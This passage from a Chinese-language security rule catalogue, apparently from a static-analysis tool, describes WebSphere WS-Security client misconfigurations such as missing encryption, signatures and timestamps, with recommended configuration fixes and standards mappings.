[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Inbound WS-Security Not Enabled
ABSTRACT
若请求不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的增强功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
若 IBM WebSphere WS-Security 客户端部署描述符扩展文件中缺少 <securityResponseConsumerServiceConfig>
标签,则表明未启用输出消息的安全性。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为使用 WS-Security。该配置应包含 <securityResponseConsumerServiceConfig>
标签以及适当的安全令牌、时间戳、签名和加密标签。
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Inbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为接受输入的消息并对其进行解密。通过启用“响应用户服务”配置中的保密性,便可完成此配置。
下面提供了 WebSphere 配置示例,将对输入的消息进行加密:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Inbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为接受输入的消息并对其进行解密。通过启用“响应用户服务”配置中的保密性,便可完成此配置。
下面提供了 WebSphere 配置示例,将对输入的消息进行加密:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Inbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为要求输入的响应中具有时间戳。
下列 WebSphere 配置要求输入的响应中具有时间戳:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Outbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为对输出的消息进行加密。通过启用“请求生成器服务”配置中的保密性,便可完成此配置。
下面提供了 WebSphere 配置示例,将对输出的请求进行加密:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Outbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在发送者或接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码来验证消息内容来自真正的发送者。
RECOMMENDATIONS
将该服务配置为对输入的请求验证签名。
下列客户端配置可让 IBM WebSphere 对输出的请求进行签名:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Outbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
RECOMMENDATIONS
如果该服务提供程序提供支持,则将客户端配置为在输出的请求中包含时间戳。
下列 WebSphere 配置在输出的请求中包含时间戳。
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Missing Timestamp Expiration
ABSTRACT
若 SOAP 消息含有不会到期的时间戳,则它可能容易受到 replay 攻击。
EXPLANATION
时间戳到期时,随该时间戳一同发送的任何安全语义也会随之到期。因此,没有有效期的时间戳可能会让安全语义(例如 UsernameToken 凭证)永远保持有效。
RECOMMENDATIONS
确保时间戳具有到期时间。
例如,下面的 addTimestamp 元素包含 expires 属性:
<addTimestamp xmi:id="AddTimestamp_1212094497592" expires="P3Y0M0DT4H0M0.0S"/>
REFERENCES
[1] Web Services Security SOAP Message Security 1.1 OASIS
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
